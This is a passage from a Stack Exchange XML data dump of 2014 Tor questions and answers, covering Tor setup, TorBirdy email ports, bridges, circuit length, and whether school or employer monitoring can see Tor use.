AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3531" PostTypeId="2" ParentId="3512" CreationDate="2014-07-12T10:47:25.430" Score="1" Body="&lt;p&gt;Private addresses are addresses within the ranges, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16.&#xA;To put it simply these addresses are not designed for use in and are not usable in the public internet (at least not without issue).&lt;br/&gt;&#xA;If the address you are trying to connect to is within any of these ranges then Tor won't be able to connect to them. This is what I suspect is happening to you.&#xA;The reason you can connect to the server when not using Tor is that you're not connecting over the internet; you're connecting directly through your private network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get around this you need to set your server up with a public IP address. You already have a public IP address as you're successfully using the internet. Configuring your server to be connectable using that address is out of the scope of Tor, but you can probably find a tutorial or two by &lt;s&gt;googling&lt;/s&gt; duckduckgo'ing it.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-12T10:47:25.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3532" PostTypeId="2" ParentId="3522" CreationDate="2014-07-12T11:06:11.917" Score="0" Body="&lt;p&gt;I think a better rule set would be:&lt;br/&gt;&#xA;Allow all localhost:*&lt;br/&gt;&#xA;Block &amp;lt;whatever&amp;gt;&lt;br/&gt;&#xA;That &lt;em&gt;should&lt;/em&gt; let Tor work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason Tor would have started working again when you set it to UDP instead of IP is that Tor uses TCP, not UDP.&#xA;While it's true that most torrenting is done using UDP I think it &lt;em&gt;is&lt;/em&gt; possible to use TCP with some clients, so you probably want to have the rule as IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be having trouble connecting to the internet using regular browsers because the regular browser is using UDP for some purpose and you've inadvertently blocked it. For instance DNS is typically done over UDP (port 53).&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-12T11:06:11.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3533" PostTypeId="2" ParentId="3495" CreationDate="2014-07-12T11:41:20.180" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/users/3150/hiprivet&quot;&gt;hiprivet&lt;/a&gt; provided a solution by changing the source code of Tor. The question, &lt;a href=&quot;https://tor.stackexchange.com/q/103/88&quot;&gt;if it is possible to extent the circuit length&lt;/a&gt;, was asked before and this answer is still valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So take a minute before you implement this solution and consider the following issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The main risk of a Tor circuit are the end points. First there is the entry into the Tor network. The paper &lt;a href=&quot;http://freehaven.net/anonbib/#hs-attack06&quot;&gt;'Locating hidden services'&lt;/a&gt; described risks and provided the current guard design as a solution. However the question how long a guard should be used and how often they should be changed is discussed currently. The endpoint of a circuit can has also some well-discussed possibilities to weaken your anonymity while the middle node is safe. And it doesn't help you if there is only one or more in the middle.&lt;/li&gt;&#xA;&lt;li&gt;But more than one node in the middle will hurt your performance. The traffic is routed over more relays and will get slower than before.&lt;/li&gt;&#xA;&lt;li&gt;Besides your performance also other users performance is affected. Because it puts more load on the relays and so all users suffer.&lt;/li&gt;&#xA;&lt;li&gt;Last it can weaken your anonymity. Assume there is an adversary which can watch the network. Nearly all users use 3-hop-circuits and there is one user which behaves different. So the attacker might be able to deanonymize a user with a longer path just because it pops out of the user base. So using longer circuits will put you at risk.&#xA;The FAQ also has an &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChoosePathLength&quot;&gt;entry about choosing the path length&lt;/a&gt; which discusses this issue.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;tl;dr: While you can change the length, don't do it, because it weakens the network as well as your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-12T11:41:20.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3534" PostTypeId="1" AcceptedAnswerId="3538" CreationDate="2014-07-12T13:13:08.320" Score="1" ViewCount="1271" Body="&lt;p&gt;I frequently use either Tor Browser or Tails. Now I would like to do something entirely different and want to use &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;stem&lt;/a&gt;. The tutorials on that site all presuppose that Tor is installed separately from the Tor Browser but I'm having trouble finding the documentation about the best way to install and configure Tor as a stand-alone. Nor, to my surprise, did I find any question addressing the point here (perhaps I searched for the wrong thing). But, hence the questions ...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What should I be reading?&lt;/li&gt;&#xA;&lt;li&gt;If I use the synaptic package manager to install Tor in, say, Linux&#xA;Mint, will I get the most recent stable version of Tor?&lt;/li&gt;&#xA;&lt;li&gt;When I installed Tor (briefly) some years ago through the synaptic&#xA;manager, it immediately started Tor and set it running at log-in&#xA;time, which I did not want. Is that still the case, and how can I&#xA;avoid it?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any advice.&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="923" LastEditDate="2014-07-12T13:27:39.680" LastActivityDate="2014-07-12T21:33:21.120" Title="Setting up Tor for use with stem" Tags="|stem|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3535" PostTypeId="1" CreationDate="2014-07-12T14:51:11.327" Score="1" ViewCount="392" Body="&lt;p&gt;I wish to use Torbirdy alongside usual GPG encryption for emails. But I read, to prevent spam, that all exit nodes block SMTP traffic usually. So how does Torbirdy addon for thunderbird ensure that emails are exiting from exit node? &lt;/p&gt;&#xA;" OwnerUserId="3157" LastEditorUserId="923" LastEditDate="2014-07-12T15:08:05.233" LastActivityDate="2014-07-13T02:50:09.617" Title="How will torbirdy work if exit nodes block SMTP traffic?" Tags="|torbirdy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3536" PostTypeId="2" ParentId="3495" CreationDate="2014-07-12T15:43:50.200" Score="0" Body="&lt;p&gt;Following is the quote from Tor FAQ:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;There is a good argument for making the number of hops in a path unpredictable [Thus Random]. For example, somebody who happens to control the last two hops in your path still doesn't know who you are, but they know for sure which entry node you used. Choosing path length from, say, a geometric distribution will turn this into a statistical attack, which seems to be an improvement. On the other hand, a longer path length is bad for usability, and without further protections it seems likely that an adversary can estimate your path length anyway. We're not sure of the right trade-offs here. Please write a research paper that tells us what to do.&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-07-12T15:43:50.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3537" PostTypeId="1" CreationDate="2014-07-12T17:22:50.500" Score="3" ViewCount="49" Body="&lt;p&gt;The primary function of Tor, anonymity, is extremely valuable to many people around the globe. Unfortunately, it also makes Tor an easily abused tool for cybercriminals - among them spammers. &#xA;There are several sites that have given up trying to reject interactions selectively and instead have taken to banning all traffic originating from Tor exit points. This is bad for Tor users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some tools that site operators can employ to keep their site available to Tor users without too much additional maintenance or effort ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(here is an example of one &lt;a href=&quot;https://meta.discourse.org/t/spambots-from-tor-exit-points-keep-taking-over-my-forum/17454&quot; rel=&quot;nofollow&quot;&gt;good discussion&lt;/a&gt; about this topic and how site operators using a particular server application are coping)&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-07-12T17:31:46.150" LastActivityDate="2014-07-13T02:43:10.297" Title="How to best help site operators protect themselves from Tor based abuse?" Tags="|web-hosting|abuse|spam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3538" PostTypeId="2" ParentId="3534" CreationDate="2014-07-12T19:20:25.470" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;What should I be reading?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It depends on your platform but since your on a deb based distro it should be easy...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I use the synaptic package manager to install Tor in, say, Linux Mint, will I get the most recent stable version of Tor?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not by default, but it will be if you get it from deb.torproject.org. See the second step of the above link.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When I installed Tor (briefly) some years ago through the synaptic manager, it immediately started Tor and set it running at log-in time, which I did not want. Is that still the case, and how can I avoid it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;IIRC turning it off is as simple as &lt;code&gt;sudo /etc/init.d/tor stop&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="88" LastEditDate="2014-07-12T21:33:21.120" LastActivityDate="2014-07-12T21:33:21.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3540" PostTypeId="2" ParentId="3535" CreationDate="2014-07-12T21:46:06.110" Score="0" Body="&lt;p&gt;There are some relays which allow exiting at port 25. Furthermore several mail servers don't accept mail on port 25, but use mail submission on port 587. At the moment of writing there are 131 relays which explicitly allow port 587 and 11 which allow exiting on port 25.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-12T21:46:06.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3541" PostTypeId="2" ParentId="3537" CreationDate="2014-07-13T02:43:10.297" Score="2" Body="&lt;p&gt;A captcha (&lt;em&gt;i.e.&lt;/em&gt;, reCAPTCHA) that must be input for every post.&#xA;It's good for all kinds of spam, not just spam from Tor users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative method could be to simply block Tor users from posting (but allow them to read).&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-13T02:43:10.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3542" PostTypeId="2" ParentId="3535" CreationDate="2014-07-13T02:50:09.617" Score="3" Body="&lt;p&gt;Note that by default, TorBirdy will configure your email account to use port 465 &lt;strong&gt;and not&lt;/strong&gt; port 25 for the SMTP server. This in fact should be your default setting: you should not be using port 25 for your email over Tor as your username and password are sent in clear text and can be sniffed by the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most providers use 465 for &lt;code&gt;SSL/TLS&lt;/code&gt; and 587 for &lt;code&gt;STARTTLS&lt;/code&gt; and this is what is recommended for email over Tor. You can change this port to what your email provider recommends, but if your email provider supports only plain SMTP over port 25 without &lt;code&gt;SSL/TLS&lt;/code&gt; or &lt;code&gt;STARTTLS&lt;/code&gt;, you should find a better one and not use it over Tor :)&lt;/p&gt;&#xA;" OwnerUserId="3158" LastActivityDate="2014-07-13T02:50:09.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3543" PostTypeId="2" ParentId="3479" CreationDate="2014-07-13T02:57:21.640" Score="2" Body="&lt;p&gt;Because of technical reasons (restricted by Thunderbird), it is not possible to apply the TorBirdy settings to specific email accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/torbirdy/preferences#a-TransparentTorification&quot; rel=&quot;nofollow&quot;&gt;Transparent Torification&lt;/a&gt; option, which allows you to keep all TorBirdy privacy settings intact &lt;em&gt;except&lt;/em&gt; telling TorBirdy to use Tor (the proxy settings are cleared). This allows you to access a particular account without Tor since the proxy settings are cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to read the warnings for this though (in the above link) since the network transmission will happen in the clear and &lt;strong&gt;not&lt;/strong&gt; over Tor. Use this with caution! (There is a reason this option is labelled in red colour.)&lt;/p&gt;&#xA;" OwnerUserId="3158" LastEditorUserId="3158" LastEditDate="2014-07-13T03:16:45.183" LastActivityDate="2014-07-13T03:16:45.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3544" PostTypeId="2" ParentId="3471" CreationDate="2014-07-13T03:15:00.757" Score="1" Body="&lt;p&gt;If it were not for the fact that you (a) have said explicitly that you're not a specialist and that often the instructions are not clear, and (b) that you intend to use your email via Tor, I wouldn't be saying what I'm about to. It might come across as patronising, which is not my intention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should ensure, at least, that you understand what Tor will do for you, and what it won't. With that in mind, it's worth reading the warnings given &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;; in particular, look at the warnings under &quot;Do not mix modes of anonymity&quot; and the described mode(3) &quot;user with no anonymity using Tor&quot;.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2014-07-13T03:15:00.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3545" PostTypeId="2" ParentId="3471" CreationDate="2014-07-13T08:39:58.310" Score="2" Body="&lt;p&gt;I would say NO, and if you want to dedicate a computer to Tor browsing, use &lt;a href=&quot;http://tails.boum.org&quot; rel=&quot;nofollow&quot;&gt;tails&lt;/a&gt;. Preserve the other browsers because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You still want to check other sites containing personal information without using the same session and over Tor. (Using Tor with major sites are annoying, i.e. unsolvable recaptchas, security of cookies, or just being totally blocked.)&lt;/li&gt;&#xA;&lt;li&gt;You will want to &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt; away when someone is trying to look at your screen and seeing 'Tor Browser' (i.e.: In a Library.).&lt;/li&gt;&#xA;&lt;li&gt;Use Tor browser for anonymous things and normal browser for everyday life things.&lt;/li&gt;&#xA;&lt;li&gt;I have no problems using Tor Browser with any other(s) at the same time i.e. Iceweasel (GNU/Linux), Firefox (Windows), Firefox-Portable (Windows), Chrome (Windows) and Safari (Windows).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3160" LastEditorUserId="923" LastEditDate="2014-07-13T11:23:23.343" LastActivityDate="2014-07-13T11:23:23.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3546" PostTypeId="1" CreationDate="2014-07-13T12:12:45.480" Score="7" ViewCount="2888" Body="&lt;p&gt;My laptop is imaged on a school network, which allows the technicians to remotely connect to it, locate it and track what I'm doing if I'm connected to their network, if I use Tor at home (or any different network), can they track what I've been doing on my computer if I later connect to their network when I use it at school?&#xA;They can locate my computer even if I'm not on their network because they have data of my computer (such as serial no.) so they can ping it (idk exactly) even if I'm not connected but can they track my activities if I'm not on their network and if I'm using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the answers, however as far as your answers are concerned, you're under the assumption that &quot;malware&quot; is installed on my computer to track my activities, I have sent private emails and had private conversations with my friends and these conversations involve trouble that we've been in with the tecnicians themselves, I doubt that there is programs on my computer to track my activites because then they would be able to uncover the real culprit in those situations but they mentioned nothing about it. I know that if they look at my private emails/conversation, it is illegal because they are breaching my privacy so that could've been the reason they did not mention it however the real question is that if I access a site using tor, will there be traces on my computer that I've been on that site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must also be a limit in terms of what programs they can install on my computer, as one of you have said, they can see and track every single one of my actions, that would be an invasion of my privacy which would be illegal because they don't have legal rights to see emails I've been sending because they're confidental or when I use IM&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2014-07-14T06:39:18.920" LastActivityDate="2014-07-14T21:13:14.090" Title="Can technicians track my computer which has an image on it if I use Tor?" Tags="|anonymity|security|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3547" PostTypeId="1" CreationDate="2014-07-13T12:19:21.657" Score="2" ViewCount="223" Body="&lt;p&gt;For about two weeks now I've had three bridges running but none of them is getting any real traffic yet. Example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aygew.png&quot; alt=&quot;image showing the amount of simultaneous OR connections&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It usually doesn't have any OR connections at all, and never goes above three (with two being the bare minimum for building a circuit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RD wrote a &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;great article&lt;/a&gt; on the lifecycle of a normal relay, and I already have data on what the lifecycle of an exit node looks like, but after how many weeks does a bridge get enough users to be useful?&lt;/p&gt;&#xA;" OwnerUserId="3161" LastActivityDate="2014-07-13T14:54:10.433" Title="What does the traffic pattern of a bridge look like?" Tags="|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3548" PostTypeId="2" ParentId="3546" CreationDate="2014-07-13T12:25:35.923" Score="1" Body="&lt;p&gt;If these technicians have the ability to install arbitrary software on your laptop, which they do (as it's an image), then you should assume that they can track you wherever you are, whether you're on their network or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing Tor on a system that already has untrusted software does not make the system more secure.&lt;/p&gt;&#xA;" OwnerUserId="3161" LastActivityDate="2014-07-13T12:25:35.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3549" PostTypeId="2" ParentId="3546" CreationDate="2014-07-13T12:31:10.123" Score="1" Body="&lt;p&gt;Not only they can track you but also they are able to see any and every move you make. They can read your Emails, IM, even if you draft a love letter to your girlfriend and do not send that, they can read that letter. You have absolutly no privacy at all on that computer. In essence they act as God on that computer. Albeit without the wisdom of the God. The arbitrary software that they install on the system act as a malware as far as you are concerned. In presence of malware, using Tor is in vain. Arbitrary software can go as far as recording everything you do like a movie. The can watch, slow motion, rewind, look frame by frame every move you make on the laptop.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-13T13:28:14.800" LastActivityDate="2014-07-13T13:28:14.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3550" PostTypeId="2" ParentId="3547" CreationDate="2014-07-13T14:54:10.433" Score="1" Body="&lt;p&gt;When you run your server as a bridge it can be put into three baskets:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Bridges-Website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mail&lt;/li&gt;&#xA;&lt;li&gt;not public&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the first and second case your bridge will be handed out via the website or the mail service. The bridges in the last basket are only handed out through some trusted persons. So it might be that your bridge is in the last basket and waits until its contact information is given to some person. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can also install obfs3. This technology helps users in highly restrictive countries and so it will most likely attract more traffic.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-13T14:54:10.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3552" PostTypeId="2" ParentId="3546" CreationDate="2014-07-13T18:15:29.373" Score="4" Body="&lt;p&gt;Short answer: Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: It is not possible to locate a single computer in the midst of the internet just by knowing its serial number or properties like the computer name. &lt;em&gt;However&lt;/em&gt;, they can install a program that calls home telling them: &lt;code&gt;I'm computer xyz and now available at abc&lt;/code&gt;, thus allowing them to connect even when you're not on their network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there is the question on whether they could collect back what you did when you join back to their network. As in the previous case, they could install a program that for instance takes a screenshot every second (or, as Roya suggests, records a movie) and gives it to them when you reconnect there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus not even actions done offline would be &lt;em&gt;safe&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, your technicians are unlikely to care about what you &lt;em&gt;do&lt;/em&gt; with the computer, and many of those actions may be illegal depending on your jurisdiction and whatever information you were given beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary: if you don't trust your admin, don't use the tools he gave you.&lt;/p&gt;&#xA;" OwnerUserId="3165" LastActivityDate="2014-07-13T18:15:29.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3553" PostTypeId="2" ParentId="3498" CreationDate="2014-07-13T19:11:24.623" Score="1" Body="&lt;p&gt;The error message is very clear: «You are not allowed to use Proxy/VPN»&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Tor is similar to use a proxy, so they probably acted to block it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would need to convince them to lift the block, although IMHO that seems unlikely.&lt;/p&gt;&#xA;" OwnerUserId="3165" LastActivityDate="2014-07-13T19:11:24.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3554" PostTypeId="2" ParentId="3546" CreationDate="2014-07-13T20:45:50.887" Score="5" Body="&lt;p&gt;If you use &lt;a href=&quot;https://tails.boum.org/&quot;&gt;Tails&lt;/a&gt;, then if they've installed software, it won't run while you use Tails. If you download Tails using a different computer, they won't know you downloaded it at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use a live OS like &lt;a href=&quot;http://www.ubuntu.com/&quot;&gt;Ubuntu&lt;/a&gt; and keep the Tor Browser Bundle on a USB disk. As long as you avoid the OS that the tracking program is installed on, you're okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for using whatever OS is on the computer: the other answers are correct, if they've installed software, they can see whatever you're doing.&lt;/p&gt;&#xA;" OwnerUserId="232" LastActivityDate="2014-07-13T20:45:50.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3555" PostTypeId="1" CreationDate="2014-07-13T21:40:37.240" Score="2" ViewCount="1427" Body="&lt;p&gt;My employer is using Microsoft Family Safety to keep me from using Gmail (for example) and each time the computer starts I see a message saying that some sites are blocked and that the computer reports my activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed that I can access any site I want by surfing from Tor loaded on a flash drive in a USB port. So I can do anything I want, including checking emails etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does my employer sees that I'm bypassing Microsoft Family Safety? If yes, can they see where I'm going?&lt;/p&gt;&#xA;" OwnerUserId="3168" LastEditorUserId="71" LastEditDate="2014-07-14T00:03:56.930" LastActivityDate="2014-08-10T18:25:30.530" Title="Can I bypass Microsoft Family Safety when I use Tor?" Tags="|anonymity|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3556" PostTypeId="1" CreationDate="2014-07-13T23:46:03.883" Score="1" ViewCount="238" Body="&lt;p&gt;I need to access an online chat and they block connections from Tor exit nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chat is hosted by mibbit.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using free online proxies from within Tor (Tails) but that doesn't seem to work. I've tried a number of them.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="88" LastEditDate="2014-10-02T14:35:31.753" LastActivityDate="2014-10-03T19:43:37.850" Title="I need to access an online chat and they block connections from Tor exit nodes" Tags="|exit-relays|tails|blocked-services|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3557" PostTypeId="1" CreationDate="2014-07-14T04:09:40.220" Score="1" ViewCount="364" Body="&lt;p&gt;In Vidalia, a yellow onion or a gray onion indicated a problem or the end of a Tor connection. How can I follow this in Tor Browser 3.6.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the green onion eventually turning to yellow or does it somehow indicate an abnormal end of the connection to the Tor circuit? &lt;/p&gt;&#xA;" OwnerUserId="3172" LastEditorUserId="288" LastEditDate="2014-07-14T22:08:13.933" LastActivityDate="2014-07-15T18:39:02.277" Title="Yellow or crossed onion? How can I see that a Tor connection is secure or broken?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3560" PostTypeId="1" CreationDate="2014-07-14T19:54:09.963" Score="1" ViewCount="239" Body="&lt;p&gt;Let's say a Tor user has a history of routinely accessing websites A, B, and C, and that this history is established before he began using Tor. Let's say some adversary, like his ISP or a government agency, can access this history after the fact. Suppose that the set {A, B, C} is enough to accurately fingerprint the user --- almost no one else routinely accesses that particular set of websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further Suppose the adversary also has the ability to monitor some number of exit nodes. If the user routinely accesses websites A, B, C, and X using Tor, how difficult would it be for the adversary to conclude that this specific user is accessing site X (because all four websites tend to be requested within a short time frame)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about a basic traffic analysis attack where the adversary actively monitors both entry and exit nodes; I'm talking about an adversary who has a partial behavior profile on the user and can monitor exit nodes.&lt;/p&gt;&#xA;" OwnerUserId="3179" LastActivityDate="2014-07-28T11:02:21.823" Title="Can partially predictable behavior deanonymize a Tor user?" Tags="|deanonymization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3561" PostTypeId="2" ParentId="3546" CreationDate="2014-07-14T21:00:41.643" Score="0" Body="&lt;p&gt;An important fact about the fields of security and anonymity is to always consider the worst case scenario and prepare for it ahead of time. A worst case scenrio maybe that you lose your job or you are expelled from university or in some extreme scenarios maybe that you lose your freedom or even worst. Once you know the worst case scenario, you can make an informed and conscious decision about the route you choose to take, and if the worst case scenario actually happened you may feel no regret, because you were aware of what could happen, but maybe you did not give it a high enough probability, or you decided despite of being aware of the worst case scenrio's probability of occurrance. In any case information is all that can be provided. Decision is yours and yours only to take.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-14T21:13:14.090" LastActivityDate="2014-07-14T21:13:14.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3562" PostTypeId="1" CreationDate="2014-07-14T21:40:19.103" Score="2" ViewCount="143" Body="&lt;p&gt;The following is a quote from Tor FAQ:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There is a good argument for making the number of hops in a path unpredictable [Thus Random]. For example, somebody who happens to control the last two hops in your path still doesn't know who you are, but they know for sure which entry node you used. Choosing path length from, say, a geometric distribution will turn this into a statistical attack, which seems to be an improvement. On the other hand, a longer path length is bad for usability, and without further protections it seems likely that an adversary can estimate your path length anyway. We're not sure of the right trade-offs here. Please write a research paper that tells us what to do.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is anybody aware of or involved in a research paper on this issue?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-15T11:22:42.127" LastActivityDate="2014-07-15T13:06:25.740" Title="There is a good argument for making the number of hops in a path unpredictable, Is there a research paper that tells us what to do?" Tags="|tor-browser-bundle|anonymity|relays|circuit|random|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3563" PostTypeId="1" CreationDate="2014-07-15T00:08:27.517" Score="1" ViewCount="1817" Body="&lt;p&gt;Hello my name is Gregory. I would like to ask a few questions about running Whonix on a notebook computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be an ideal notebook/specs for running&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Linux Host&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;VirtualBox&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Whonix (both VMs in VirtualBox)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;VPN client on host&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There has been alot of talk about Intel hardware having a backdoor in it. Obviously we can neither confirm/deny this information as we don't have access to it, we only have speculation but logically newer hardware would more likely have it since, unfortunately, we are going downhill when it comes to freedom and privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what would be an ideal notebook that is cheap and can run Whonix and everything on the notebook smoothly without lagging and glitches. We don't need to get specific about models, just specs and most importantly CPU models. RAM is cheap and upgradable so it is irrelevant as it would be 8GB. Would the CPU at least have to be an i3/i5/i7 model or can it be a late model Core 2 Duo? Again this is not a question of what can run this setup, it is what can run this setup very smoothly and without lagging. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mirimir has said in the past that SSDs can compromise FDE so my question goes out to mirimir and everybody else on that. Can SSD compromise FDE and why?&lt;/p&gt;&#xA;" OwnerUserId="3181" LastEditorUserId="100" LastEditDate="2014-07-22T15:25:04.357" LastActivityDate="2014-12-19T17:26:47.243" Title="What are Whonix system requirements?" Tags="|whonix|" AnswerCount="1" CommentCount="0" ClosedDate="2014-12-19T18:58:50.643" ContentLicense="CC BY-SA 3.0" />
